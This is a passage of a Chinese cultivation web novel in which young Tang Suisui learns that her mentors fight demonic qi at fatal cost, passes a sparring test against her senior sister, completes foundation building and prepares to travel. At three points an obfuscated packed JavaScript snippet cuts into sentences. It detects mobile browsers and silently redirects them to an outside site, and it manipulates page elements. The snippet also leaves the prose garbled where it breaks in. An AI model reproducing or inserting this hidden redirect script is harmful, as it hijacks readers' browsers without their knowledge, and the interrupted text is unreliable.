“因为还没开花。”姬忘尘收了刀,既然汤穗穗心不在焉,她也不想浪费时间强行逼迫对方专注起来,坐到院中的石椅歇息。 汤穗穗跟着师姐走过去,追问:“可是山下的早就开花了,一整树都是粉色花朵。” “你想的不是这件事吧。”姬忘尘喝了一杯水,直直地看向她的眼睛里,“你是想问师傅到底会不会走,对吗?” 山下的花早就开了满树,粉色遍布枝丫,可惜山上院旁这棵树上的花却迟迟未开。这样的差别每年都会发生,汤穗穗也从一开始的好奇变为了习惯,如今又单独拿出来提问,实在过于刻意。 “师姐——”汤穗穗拉长了音喊对方,她知道自己的伪装很生硬,蹲在师姐身边装可怜状,仰着头眨着眼睛开口,“所以秦姨会走吗?” “我不知道。”姬忘尘从不干涉别人的决定,她更像默不作声的同行者,也不过问旁人的矛盾。 “师姐,我能知道吗?”汤穗穗得寸进尺地将头抵在师姐的大腿上,仰着头,“……你们究竟是什么人?” 姬忘尘闻言,低头直视着她的眼睛,锋利的眼神似乎能穿透后者的皮囊,直直地看入她的灵魂。汤穗穗生起一身鸡皮疙瘩,后背也微微渗出冷汗。她无意识地拉远了和师姐的距离,咽下口水缓解紧张。 对视并没有持续很久,姬忘尘收回了攻击性的眼神,并没有直接回答她的疑问:“为什么这么问?” “那天老虎身上的紫气,还有那条小路里的怪物……那些到底是什么?”汤穗穗本来想找秦姨问清楚,因为姚成的意外来访,不得已将这个想法后延。其实结合当时的场面,她的心里也隐隐有猜测,“那些是和灵气对应的气息是吗?而且还能转换?” “你想活着,就当什么也不知道就好了。”姬忘尘将视线放到自己的弯刀上,手指轻轻从刀上划过。 虽然这句话听起来真的很像是威胁,汤穗穗却觉得这是师姐的一句忠告。联想到那天晚上听到的姚师舅和秦姨的聊天内容,与“活着”相反的,那就只有“死亡”了。 “……师姐……”汤穗穗敏锐地感觉到师姐的情绪波动比寻常要大很多,她弱弱地进一步将自己的揣测开口,“你们所做的事情很危险是吗?甚至会……死?” “你不是问,我们是什么人吗?”姬忘尘将话题拐回最开始的问题,面无表情、冷静地阐述着她所认知的事实:“我们是一群不留姓名去送死的人。” “我不知道你是不是动了什么念头,但你也听到了那天的对话。”姬忘尘起身收刀,“能活到像师傅这个年纪的,屈指可数。” 姬忘尘没有给汤穗穗消化的时间,起身和她擦肩,走向山里去采摘草药,留下她一个人站在原地努力地消化着这则重磅消息。 汤穗穗愣在了原地,茫然地眨着眼睛,她设想过很多种可能,却从来没有想过答案会是这样的。 如果从一开始就知道那是既定的死局,她们坚持下去的理由又是什么? 汤穗穗经常在山下和村镇的百姓们说话,山下的百姓总是为了生计而忙活着,经历过战乱的他们更珍惜活下来的机会。她所接触过的大部分百姓都很惜命,因此每次当她送药草的时候,总能看到杏林堂的两位大夫忙碌的身影。 除了人以外,临镇的兽医大夫也忙碌在诊断禽兽的路上。 对于这一切,汤穗穗都能理解,毕竟活着才能有谈论未来的可能。 然而汤穗穗没想到,山上的她们却是截然相反的选择。她们不是为了活着而走上这条路,反倒是为了送死……? 死亡的话题好像很遥远,又好像只在咫尺之间。 “穗穗要好好长大……”八年前母亲离开前的话语从记忆的最深处钻出来,汤穗穗忍不住鼻头一酸,眼眶被泪水盈满。 十六岁的汤穗穗比起八年前,好像对母亲的离开又有了一些感触。 娘亲她们是为了自己能够活下来,义无反顾地离开了土地庙,为她争取活下来的时间。对于娘亲他们来说,奔赴那场既定的死局,是为了能让她活下去。 那师姐她们呢? 也是为了让谁能活下去吗? 正当汤穗穗又一次沉浸在自己的思绪里的时候,有人拍了拍她的肩。 “想什么呢,这么出神?”姚成坐在汤穗穗身旁的石凳上,一如既往带笑的面容,“要不跟我说说?我也算是见多识广的,怎么着也能提点建议吧。” “这……”汤穗穗脸上露出为难的神情,抓了抓头发又扯了扯衣服,小心翼翼地眼皮,观察对方脸上的神情,犹豫着要不要开口,毕竟她算是偷听到了别人的聊天,贸然开口只会显得十分冒犯。 姚成看着她就差把“心里有事”四个字刻上脑门,没忍住笑了出声,伸手点了点她的额头,“有事就直说吧,支支吾吾的,可不是你的性格。” “……我……那晚听到了你和秦姨的聊天……”汤穗穗一边开口一遍观察对方的脸色,但没想到对方不仅没有生气,还用眼神示意她往下说。她在心里组织了一下语气,迟疑地说:“……见过那么多离别的您,是怎么坚持下来的?又是为什么坚持了下来?” “嗯?”汤穗穗的问题属实在姚成的意料之外,他以为对方会问的无非这一路上的见闻或艰辛。但他还是认真思考,不自觉收敛了脸上轻松的笑容,看着对方求知的眼神,给出了自己的答案:“因为还没做完啊。” 汤穗穗眨了眨眼:“所以是有什么非常紧急的任务要做吗?” “虽然说多我一个不多,少我一个不少,但,”姚成耐心地给汤穗穗解答,避开了不可说的部分,“若我去做了、做成了,那还是可以少一个人走上我这条路的。” 汤穗穗似懂非懂,同样的事情她也在山下见到过,有时候旁人搭把手做得多了,自己需要做的就少了,反过来也是成立的。 但…… “……不怕死吗?” “有谁能完全不怕死呢?”姚成脸上的笑意更大了,笑着摇摇头,伸手薅了一把汤穗穗的脑袋:“能坚持下来,肯定是要去做比是死亡更重要的事情,比如——让更多的‘汤穗穗’快乐。” “好啦,穗穗,答疑解惑环节就到这里,还以为不能当面跟你告别了。”姚成站了起来,舒展了几下筋骨,背身对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“忘尘啊,我又不是什么神算子,只不过将可能性推演而已。”姚成蹲下来,淡定地分拣着药草,“不如我们打个赌?你觉得穗穗会怎么选?” “当汤穗穗去找师傅的时候,她做的选择就已经吻合你的结果了。”姬忘尘斜撇了一眼,没有回应这个赌局,“这毫无意义。” “你也不希望汤穗穗做那个决定,对吗?”姚成背对着姬忘尘,头也不抬地开口,“但你也知道,她始终会走上这条道路的——跟你一样。 “你们的灵魂纯粹而透明,是最好的‘容器’。” 姬忘尘忍不住将垂在身侧的手捏紧,她知道对方说的是实话。这也是她总是避开汤穗穗的问题、想把她往外推的原因,但就像命运写定,汤穗穗总是能误打误撞地闯进来。 “即使结局是死亡,难道过程就会是一样的吗?”姚成终于将草药分拣清楚,端着竹筐起身放在晾晒的架子上,拍了拍衣摆上的灰尘,“就算终点是被写定的,我们也有很多条道路到达它,途中风景也是因人而异。” “更何况,你真的相信结局是被旁人写定的吗?”姚成走到姬忘尘的身边,好似能够看穿对方的所思所想,“对于那道虚无缥缈的传言,难道你就不做任何反抗、引颈受戮吗?——你就没有那么一刻,想要将其彻底粉碎吗?” “别说你是那种乖巧听从命运的人,我可不相信。” 11. 比试 汤穗穗并不知道庭外两人如何讨论与她相关的事情,她跑着穿过内院的门,却看到秦无纪正背身站在屋外,就好像她提前在这里等待自己的到来。 听到自己的脚步声,她转身过来,眼神复杂地开口:“你果然来了。” “秦姨,姚师舅要走了……”汤穗穗喘着气,弯腰将手撑在膝盖上缓和着呼吸,抬头看向面前的女人:“——你不想回去吗?” “我为什么要走?”秦无纪的语气像是听到了什么笑话,却不自觉地错开了目光。 “明明你也很担心不是吗?”汤穗穗能看出来秦无纪心中的矛盾,她不想对方后悔,“你明明是想跟他一起走的。” “……我的事情,我自己会想清楚的,穗穗别操心。”秦无纪将汤穗穗拉倒房间里,倒了杯水,让她调整呼吸,接着说道,“更何况……” “我想和你们一起走。” 汤穗穗的话截住了秦无纪的话头,也让秦无纪的笑容僵在了脸上。虽然对她这句话早有预料,只是在心中还是翻涌起说不清的情绪。 正如姚成那晚所说的“人老多情”,到了她这个年纪越是对眼前人十分珍惜。尤其是一路看着汤穗穗长大,心中更舍不得她走上这条冒着风险的路,只想她平平安安、快快乐乐地过这一辈子。 没想到那天让姬忘尘带她出去的那趟,不仅没有吓退这个古灵精怪的小姑娘,反而勾起了对方得到好奇,更想要往这条路上钻。 “……穗穗,这条路上所冒的风险,远比你那天和忘尘所经历的还要艰难十倍百倍……”秦无纪双手握住汤穗穗放在桌上的手,以为她只是习惯了和她们待在一起,“我们总有分别的时候,你的人生不仅仅只是和我们在一起。” “秦姨,你知道师姐是怎么告诉我的吗?她比你说的话更直白,她说你们在送死。”汤穗穗笑着抽出自己的手,盖在秦无纪的手背上,“可是我不害怕。” “秦姨,你知道吗?就在那天,我用你给我的符箓拖住了发疯的猛虎,等到了师姐的到来。”汤穗穗在秦无纪开口前再一次表露自己的心声,“在那一刻我觉得我自己是有用的,我觉得我可以保护更多的人。既然您也说我是有天赋的,为什么我不可以走上这条呢?” “这条路很艰辛,随时可能会死,甚至在还未学成只是,就因为功法反噬而死亡,你也要去做吗?”秦无纪的脸色变得十分严肃,郑重地开口。 “我不怕死,我想成为师姐那样强大的人,去保护更多的人。”汤穗穗挣开秦无纪的手,绕到了秦无纪的面前跪下:“哪怕是送死,我也愿意。” 就像当年娘亲她们为了让她活下来,主动出去引开狼群一样。 这个想法从汤穗穗第一次看到姬忘尘的时候就有了,那时候的她只想成为师姐那样强大的人,只有足够强大,就可以打倒魑魅魍魉。 知道那天姬忘尘出现在她们面前拦住了猛虎,清楚了猛虎身上的紫气被消除之后,这种想法愈加强烈。她不仅仅想要自己变得足够强大,还想自己能够拯救更多的人。 “当你选择了这条路,你所做的‘保护’就不仅仅只是所谓的好人。”秦无纪再一次确认,“你能接受,即使需要保护的人里有地痞流氓、偷奸耍滑之徒?” 汤穗穗没有想过这个问题,她被秦无纪的话问住,眨着眼睛认真思考起来。 秦无纪知道面前的女孩还很稚嫩单纯,伸手将她扶起,按坐在身旁的椅子上,开口喊了她的名字刚要劝说。汤穗穗却眼睛一亮,握住了秦无纪的手臂:“可不仅仅只有他们,我还可以保护更多像姜大夫、陶大夫那样的人,她们就可以让更多的人活下来,这就足够了。” “更何况,还有律法制裁那些人,不是吗?”汤穗穗笑得坦荡,“我不能因为一颗杂草而放弃一整片稻田。” 秦无纪听着她的话,笑着伸手摸了摸她的头发,滑到她的脸上轻轻摩挲,语气里不自觉带上感慨和隐隐的骄傲:“你长大了。” 当年那个在庙里喊她“神仙姨姨”的女娃娃,已经长成意气风发的少年,想要为这个世界留下自己的痕迹。 汤穗穗没有听明白秦姨究竟是答应还是没答应,就被对方带着走出了房间,回到开阔的院落。 姚成和姬忘尘站在光秃秃的树下,两人沉默无言地看着汤穗穗跟着秦无纪走过来。 “穗穗,你还有一个考验,和忘尘比试一场。” ? 谁? 我打谁? “我打师姐,真的假的?!”汤穗穗的掌心被秦无纪塞了自己的木剑,咽了下口水,不可置信地开口。 姬忘尘闭眼调息一瞬,完全变化了状态。她没有用她常用的弯刀,而是随手从地上捡起一根和汤穗穗木剑差不多大小的树枝,站在汤穗穗对面,面无表情地开口:“请赐教。” “师姐……”汤穗穗抱着剑望向用撒娇唤回自家师姐的“理智”。 对于她的撒娇,姬忘尘一如既往地提出友善的建议:“可以直接认输。” 那可不行! 汤穗穗想也不想地否定了这个建议,她对秦姨说的那些话并不非只是夸下海口,而是真心实意。就算她的对手是强大的师姐,也不能让她否定自己的选择。 她永远不会在尝试之前就轻言放弃。 汤穗穗端正了态度,做出准备的姿态,对师姐开口:“师姐请。” 话音刚落,姬忘尘没有给她反应的机会,直接快步近身,将自己的树枝往汤穗穗胸前刺去。她的眼神冷冽,全无一丝一毫的感情,面前之人就是她的对手。即使是随手捡拾的树枝,也如开刃的冷锋,带着致命的攻击往对手的命门攻击。 汤穗穗没办法选择,下意识举起手中木剑回挡,姬忘尘见招拆招,进攻愈发猛烈。汤穗穗避无可避,本能地矮下身子,对方从树枝下翻滚避开姬忘尘的进攻,然后借着剑撑直身体。她想办法调整自己的呼吸,已经感觉自己的体力有些被消耗,论战力她肯定不是师姐的对手,如果只是一味地闪避,她迟早会被师姐耗到力竭。 姬忘尘直着身子,一手背在身后,没有急于进攻,反倒是慷慨地给了汤穗穗调整的时间。 实力差别过于悬殊的时候,这片刻的休憩更像是猫戏老鼠。 师姐的脸色冷凝,气息没有丝毫紊乱,不紧不慢地朝自己走来。汤穗穗一边调整着呼吸,一边想起当时和那团紫色怪物对战的心情,既然不能直面悬殊的战力,那就以灵巧应敌,随机应变为上策。 汤穗穗这样想着,也这样做了。她不再是一味地躲避进攻,而是一边灵巧地躲开,而后找机会攻击姬忘尘,试图打乱对方的脚步。不仅心态有了调整,汤穗穗还将脑海中已知的招式拆解重组,面对姬忘尘的对战沉下心来,认真分析对方的招式。 如今在她面前的,不再是师姐,而是随时可以将自己一招毙命的敌人。 姬忘尘感受到了汤穗穗的变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424777|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,颇感意外地挑了挑眉,对方的适应程度比她想象中要快上不少。或许也正因如此,她才能能将那条岔路上的瘴兽击碎。 如果说汤穗穗的灵性天赋是百里挑一,那兼具这样心态的她更是凤毛麟角。 几个回合下来,汤穗穗也慢慢找到了诀窍,她抓住姬忘尘漏出的明显漏洞,看准机会往对方的胸膛刺去—— 然而在汤穗穗的木剑刺出的那一刻,姬忘尘变了身形,汤穗穗用力往前扑了个空,而后姬忘尘站在她身后,手中树枝先一步架到了汤穗穗的颈侧。 即使汤穗穗有所调整,但最后还是不敌姬忘尘。 若换成寻常的利器,此刻汤穗穗便可以命丧黄泉。 “……我是不是没机会了……”汤穗穗双腿一软险些跪倒,还好当机立断将木剑撑在地上,以木剑为支撑,勉强支持自己的身形站立着,浑身的肌肉因使用过度而酸麻,让她几乎站立不住。比起身体上的不适,萦绕在她心头更多的是对这次失败的懊恼。 她知道自己和姬忘尘的差别有如天堑,因此能够坦然地接受了自己既定的失败,但也想努力地证明自己。 “不,你过关了。”姬忘尘将手伸到汤穗穗的面前,“这一关与胜负无关。” 看到师姐伸在面前的手,她毫不客气地扔掉木剑,抱着师姐的胳膊。姬忘尘本想将身上的牛轧糖扯开,但看到她现在一副精疲力尽的样子,还是容忍她的靠近。 站在一旁的秦、姚二人对视一眼,笑着走进刚结束完比试的两人。 紧贴着师姐的汤穗穗感觉自己出走的大脑回归了一些,她绞尽所剩不多的脑汁地思考着这一关的含义:“与胜负无关的意思是……?” “和我对战的时候你在想什么?”姬忘尘继续引导着思考的方向。 “我打师姐,真的假的?!”汤穗穗脱口而出,直到现在这句话还占据着她脑海。 “……” 姬忘尘也没想到汤穗穗会说出这句话,无奈地伸手扶额。 “师姐很强啊!无论谁对上师姐都会怯场的吧!”汤穗穗看到在场的人脸色都不太寻常,理所当然地开口,完全不觉得自己有问题。 “那还有呢?”秦无纪想听到别的答案,“复盘也是很重要的一环。” 汤穗穗轻微地抬头撇了眼师姐,正好对上师姐探究的眼神,她连忙错开视线,紧紧地抱着师姐的手臂:“……我在想,师姐很强没错,但我就一定不能胜过师姐吗?” 越说到后面,汤穗穗的声音降得越低,还撇向师姐,生怕被当事人听到后生气。 “所以,你过关了。”旁观了全程的姚成总结,“面对远超自己的对手非但不怯场、不求饶,反而及时调整自己的状态,抓住对方的漏洞而进攻,这很不容易。” “我这么厉害呢?!”汤穗穗一旦被夸奖就忍不住翘起尾巴。她有点得意忘形地抬头,看向师姐的侧脸,想从师姐的口里再讨一句夸奖。 师姐的脸上一如既往的面无表情,连气息都没有紊乱,就像是听到了陌生人的消息。 汤穗穗蹭了蹭师姐手臂,靠得她更近,仰着头撒娇:“师姐你别生气,你超强的,我根本不可能超越你……” “我没生气。”姬忘尘只觉得好笑,不知道对方从哪里得出的结论。但对于对方的后半句话,她倒是有些异议。 她想了想,低着头对上对方明亮的眼睛,郑重其事地开口:“你的成就会远超于我。” 12. 筑基 很快,汤穗穗也通过了其余的试炼,也得到两位长辈的认可。于是姚成举办了简单的仪式,保留了最重要的部分,就这样在天地见证之下,正式拜入师门。 因着姬忘尘和姚成还有自己的事情,介绍的任务就落在秦无纪的身上。 秦无纪扶起汤穗穗,伸手轻抚她额头上的红印,心中感慨万分:“最后一个答案,也是时候告诉你了。” “接下来的话或许会打破你以往对世界的认知,也或许你早有所料,”秦无纪抬手,凝聚一团浅青色的气流于指尖,“这是你曾经看到过的灵气,对吧。” 汤穗穗点点头,伸手触摸这一团气流。当指尖靠近的时候,气团往复缠绕靠近她的指尖,有一股舒服又很清凉的感觉。她眼睛亮闪闪地看向秦无纪,还想知道更多。 秦无纪看着她兴致勃勃的模样,耐心地介绍起这个世界的全貌。 这还是一个灵魔共存的世界,只有少部分存在能感知到两种能量。灵气更为纯粹,无声滋养万物;而魔气则相反,大量魔气的存在会导致土地贫瘠、河流枯竭、寸草不生。能够感知到这股能量的存在,无论是人或是其他生物,都可以利用能量进行修行。 “所以,那股紫色的气流就是魔气?”汤穗穗挠挠头,“听起来我们要处理掉这个‘魔气’?” “是也不是。”秦无纪点了点头,又摇摇头:“两气自世界诞生初始就维持着平衡,此消彼长,无论如何某一方都无法被彻底根除,这是自然的法则。” 起初只有无知的生物(动植物)会借助两气修行。当大量魔气聚集在体内,将凝结成魔种,大量吞噬周围的灵气转化成魔气,以该生物的宿主汲取能量直至其死亡,将寄生下一个宿主。周而复始,破坏两气平衡。当生物被魔种寄生之后,轻则入魔发疯危害周遭百姓,重则被魔种吞噬而死亡。魔种的存在对它们的修行百害而无一利,不仅影响宿主的生存,还会逸散大量的魔气影响到附近村镇百姓的居住。 “所以我们是要清除掉这个‘魔种’?”汤穗穗想起来那天猛虎发狂的表现,心下也有了解释,但,“那我曾经看到的紫泥怪物又是什么?” “你那天所看到的紫泥怪物,我们一般将它称作‘瘴兽’,无视觉、嗅觉,仅凭听觉行动,它们并非魔种寄生,却因魔种而形成。”秦无纪也听汤穗穗讲起那条路上的见闻,换了个说法解释,“这两者的差别,就像是被粗糙定了形的泥巴,和已经烧制定型的陶器。” 粗糙定型的泥巴能捏制成不同的形状,但是也可以很快被洗干净;但烧制好的陶器有了一定的形状,并且只能动用特别的手段去破坏,而她们这些运用灵气清除魔气的修炼者也被称为“修士”。 “那我们要怎么破坏魔种,净化魔气呢?”汤穗穗对自己这个全新的身份接受得很快,甚至有些跃跃欲试。 或许这就是少年吧,一旦锚定了前方的方向,就不会瞻前顾后。 “我知道你很着急,但第一步,你得先学会存气。”秦无纪伸手轻点她的眉心,“用我们的话来说,那就是‘筑基’。” 修炼最重要的是摈弃杂念,以自身当做容具,将灵气储存起来。在面对魔气的时候加以心法辅助,调动体内灵气进一步将其清除。然而并不是一开始储存就能马上调用体内的灵气,因此修士们将不同的时期进行简单地划分。 首先是只能将灵气运转周身,一次心法只能调用极少量灵气的,称之为筑基。而当修炼到一定程度,灵气可以在丹田沉积浓缩成丹药大小状时,是谓“结丹”;继续修炼将“丹药”炼化,重新散布周身,却又可以随意调用,则成“元婴”。 净化并不是一件轻而易举的事情,很多时候都需要符箓加以辅助,比如定位和锁定。尤其是筑基期的修士对灵气的控制有限,只能使用符箓控制魔气,转交由结丹期以上的修士净化。 “‘元婴’往上还有细分吗?”汤穗穗托着腮,当听睡前故事一样满心好奇,她跟着师姐改口,“师傅你们又是到哪个阶段了呢?” “听着是很简单,但是还有很多人连元婴都不能到达,终其一生停留在结丹期,将破不破。”秦无纪笑着伸手弹了她的脑门,“你师姐是天才,年纪轻轻就和我们这些行将就木的老家伙一样并列元婴。” “才不是呢!师傅你们明明也很年轻!”汤穗穗听不得师傅这样自轻。 “这是实话,因为这是心法的弊端,常年运用心法的修士能上五十便算是高寿。”秦无纪摇摇头,将弊端一同开口,“一开始心法的使用是以多名修士的生命为代价,后来代代更迭,改善成了如今这样,已是难得。” “怕吗?”秦无纪伸手摸了摸汤穗穗的脸,她自己是将生死置之度外的,但她不确定汤穗穗会怎么选择,“如果害怕的话……” “我不害怕,”汤穗穗坚定地摇摇头,她明白了师姐那句“送死”的含义,也并未因此产生害怕,“既然心法可以不断改善,那我也可以尝试着将心法的代价降低,不是吗?” “当然,不过这些都是后话了。”秦无纪点点头,想了想还是用最直白的话语解释,“你现在要做的是先筑基。也就是在冥想的状态下,将周身的灵气塞进你的身体里,等蓄积到一定程度,也就能感受到变化了。” “闭眼。” 秦无纪简单地传授了几句心法,让汤穗穗自己适应。汤穗穗很快摸到了窍门,念了几遍心法的功夫,一扫下午与师姐决斗时的疲乏,只觉得神清气爽。 “那我会不会耽误你们了你们的时间……”汤穗穗想起师傅是要和师舅一起走的,是自己在中间横插了一脚,纠结的神情爬满了她的脸,她懊恼地开向面前的人。 “放心吧,这一切都在他的推测之中,这点时间他等得起。”秦无纪笑着打消了汤穗穗的愧疚,这些年虽然没有和他接触,但曾经师兄妹的关系让她对这个人了如指掌。 如今的局面正是他促成的,并且汤穗穗耽误的时间也在他的计划之中。 “好了,回去休息吧,明天就开始正式训练了。”等汤穗穗了解得差不多,秦无纪也让她自己回去,顺便消化消化方才话语的内容。 汤穗穗似懂非懂地点头,对于秦无纪所说的内容也有一个基础的理解,心里盘算着还有些疑问留着“骚扰”师姐。 ——谁让师傅说师姐是天才呢! 应该说,师姐果然就是天才! 汤穗穗一边想着一边离开秦无纪的房间,如今已是深更半夜,她下意识抬头,明月藏了一半身体在云里,好像也在为她拜师成功而高兴。 想到这里,她的脚步忍不住轻快起来。 不知道为什么,她打心里开始期待明天的训练,不知道训练又会有什么样的变化呢?是不是开始学习灵气有关的招式了呢? 等第二天真的训练的时候,汤穗穗真的很想收回昨天晚上的话语。 “错了。再加三百下。”姬忘尘的树枝毫不留情地打在汤穗穗的手臂上, “师姐……”汤穗穗欲哭无泪,她感觉自己的手臂在止不住地发抖。 曾经她以为的训练原来只是开胃小菜,当真的踏进这一门之后,整体的训练量翻倍增长,汤穗穗甚至以为自己要撑不过了。这时候师傅传授的心法倒起了作用,她的身体比往常强硬了许多,承受能力也强硬了许多,她甚至不能以自己的身体不适作为借口。 好不容易到了休息的时间,汤穗穗拖着疲惫坐在石椅上,上半身完全瘫软在石桌上,死气沉沉。 “怎么样?”姚成笑着坐在她身旁的石椅,心情颇好的打趣,“跟你想象中差别大吗?” “大、很大、非常大——”汤穗穗皱巴着脸,以为对方是来打退堂鼓的,嘴硬着说什么也不肯放弃,“……我一定会坚持的。” “有你这句话我就放心了。”姚成看热闹不嫌事大地点点头。 这边汤穗穗感觉刚坐下,那边姬忘尘又开口喊她继续训练。 汤穗穗只能拖着步伐,乖巧地走到师姐的身前,塌着肩膀可怜兮兮地看着师姐。 “想偷懒?”姬忘尘对于汤穗穗的表情与动作了如指掌,只需要一个表情就能看出她在想什么。 “不是不是,”汤穗穗讨好地笑着,想着凑近乎,唤起师姐的一点点“良知”,“师姐,你当时训练也这样吗?” “那倒不是。”姬忘尘顿了顿,嘴角勾起一个怀念的笑容,“——我的训练都是直接面对魔物杀出来的。” “我就知道——嗯?”听到姬忘尘的前半句回答时,汤穗穗眼睛放亮,刚要开口控诉,却马上被对方的下半句堵在了口中。 汤穗穗对师姐给出的答案虽然意外,但细想之下又觉得合理。她就知道,师姐这样的人,是绝对不会有丝毫懈怠,“放松”这个词在她的身上就像是一种亵渎。 同时她也理解为什么师姐的招式和师傅教导相去甚远,因为她从基础的招式中凝练出自己的感悟,几乎刀刀致命。 一想到这里,她看向正在给自己出招示范的师姐,心里忍不住心疼师姐的经历。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424778|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师姐也就只比自己大上几年,在自己还在绕着师傅、师姐撒娇的年纪,师姐已经在战斗中出生入死很久了。 姬忘尘收刀,对上对方复杂的眼神,她心中有些动摇,开口询问:“……还能坚持吗?” 汤穗穗不想被师姐看不起,含泪点点头。 心疼师姐是一码事,师姐恐怖也是另一码事,她只能眼睁睁地看着善良的师姐变成邪恶的师姐。 汤穗穗一直没发现,不知从何时起,那棵光秃秃的树上开始冒出小小的花苞。 姚成和秦无纪也时常站在一旁,观摩两个人的联系,晚上就由秦无纪负责教授心法,让她抓紧时间巩固心法,早日筑基。 汤穗穗本身的天赋很好,再加上这八年在山上的滋养,在姚成的预估中,筑基应当是指日可待的事情。 汤穗穗不知道在这样的训练中又过了几天,甚至在苦中作乐起来。 某一天她照常闭眼,按照心法凝聚感受到的灵气,全神贯注地感受到周围有轻柔地气流围绕着自己,汤穗穗耐着性子地将气流聚集在一起。起初她对气流的引导很不熟悉,经常让气流溜走,就像双手捧水时,水流总会从指缝溜走。 汤穗穗并不是退缩的性格,越是这种时候,她越能沉下气,耐住性子将气流慢慢地引导自己的身体里。不知道又过了多久,汤穗穗终于顺利地将一股微弱的气流引到自己身体中。灵气进入周身流转过一趟,最终停留在她丹田处。 有了成功的经验后,汤穗穗越发得心应手,越来越多的气流流转过周身,最终汇聚到她的丹田。在引导气流的过程中,她感受到气流就像柔和的水源流过自己的全身气流融入血脉,同时自己的身体也变得十分黏腻,十分不舒服。 不知过去了多久,汤穗穗也忘了自己是从什么时候开始,她完全沉浸在引导灵气的过程中。直到一声鸡鸣打断了她沉浸其中的思绪,她按耐不住激动的心情,兴奋地睁开了眼,和一直守在床边的秦无纪对上了眼。 秦无纪的庆贺比她先一步开口,她的笑容满是欣慰,伸手揉乱了她的头发,语气里带着骄傲:“你成功筑基了。” “我……成功了?”汤穗穗还不可置信,即使她彻夜未眠,但她丝毫没有疲倦的感觉。如今听闻师傅的庆贺,心中更是激动不已。 “快去洗洗吧!得亏你自己看不到,现在你就是一个不折不扣的小泥人呢。”姚成的声音从室外传来,声音一如既往带着笑意调侃道,“等你洗完出来再收拾收拾,我们就该启程了。” 被姚成提醒后,汤穗穗这才低头一看,后知后觉发现自己的手上沾着许多黑乎乎的“泥垢”。身上的不舒服让她再也忍不了,她连忙起身,跑到专门的浴室里。 姬忘尘对她的状况早有预料,已经提前给她留好了热水和全新的一套衣服。看到汤穗穗的到来,她淡定地颔首:“恭喜。” 汤穗穗的眼睛亮晶晶的,听到师姐的这句话之后,更是笑眼弯弯如月牙。 本来姬忘尘想回去收拾自己的东西,但在汤穗穗强烈的挽留下,姬忘尘还是在浴室外的台阶上,陪她说话解闷。 “师姐师姐,你当时也是这样的吗?”汤穗穗忍不住内心的激动,急不可耐地想分享些什么。 “……我不记得了。”姬忘尘也忍不住回想,自己筑基成功的那一天究竟是何心情,或许也是和师妹一样兴奋。 汤穗穗又扯了些傻乎乎的问题,姬忘尘也耐心地做出了解答。 “师姐师姐,这些是什么啊?”汤穗穗一边搓着自己身上的“泥垢”,一边打破砂锅问到底。 “是身体里的污垢。灵气将你的身体的污垢清除,从此之后你的身体就是容纳灵气的容具。” 在浴室里的汤穗穗似懂非懂地点头,看着自己并没有什么变化的手臂:“可是我觉得我也没什么变化啊?难道清除污垢之后不会变得更白一些吗?” 比如师姐那样。 她经常羡慕师姐的肤色,就像话本里那些肤若凝脂的绝世佳人,她以为自己筑基之后也会变成师姐那样。 “……”姬忘尘不知道师妹为什么对肤色那么关注,“灵气并不是重塑你的□□,只是将污垢清楚,并不会对你的肉身有什么变化。” “哦……”汤穗穗有些失望地应下,果然修炼效果也是因人而异,师姐还是那个师姐,自己也还是自己。 不过这样也好,汤穗穗也不想在外貌上成为师姐的复制品。 因为她是汤穗穗,无论什么时候,她也只是汤穗穗。 13. 远行 清洗过后,汤穗穗很快收拾好自己,换上师姐准备好的衣装,发现这套衣服尺码很是合身。颜色一如既往是师姐偏爱的深色款式,不过在花纹上有暗纹的设计巧思。 不过现在不是欣赏新衣服的时候,汤穗穗想起姚师舅当时提到即将启程的事情。她连忙回到自己的房间里,讲这些年房间里属于自己的东西收拾好。 她还在收拾自己日常的衣服,忽然听到身后传来了脚步声,她拧着身体回头看去,正是练武回来的师姐。由于师姐经常在外的缘故,即使两人同住,但房间里更多的还是汤穗穗自己的物件,桌上还堆了一些山下采买解乏的话本。不过这些话本往常她都藏得很好,生怕师姐她们觉得自己不务正业。 她以为师姐是来催促自己的,连忙回头继续收拾,还一边解释道:“师姐师姐,我快好了,在等我一小会!” “不用着急,我不是来催你的。”姬忘尘给汤穗穗拿来几个用油纸包好的包子,正好看到桌上的话本,“这是什么?” “啊!”汤穗穗这才意识到桌上散落的话本,有些不好意思,心生一计决定把师姐也拉下水,“师姐你要是等得不耐烦的话,要不看看……?” “……话本?”姬忘尘随手拿起一本,她从来没有看过这类不寻常的书籍,饶有趣味地翻看了起来。 等汤穗穗终于收拾完,叉着腰长舒一口气,抬头跟师姐说:“我收拾好啦!” “嗯,话本挺有意思的。”师姐头也不抬地回答。她看书的速度很快,就这一小会功夫,她已经看完了三本。 “那这些话本……”汤穗穗不确定地开口。 “带上吧,反正也不占位置。”姬忘尘合起手上的话本,放回到原位。 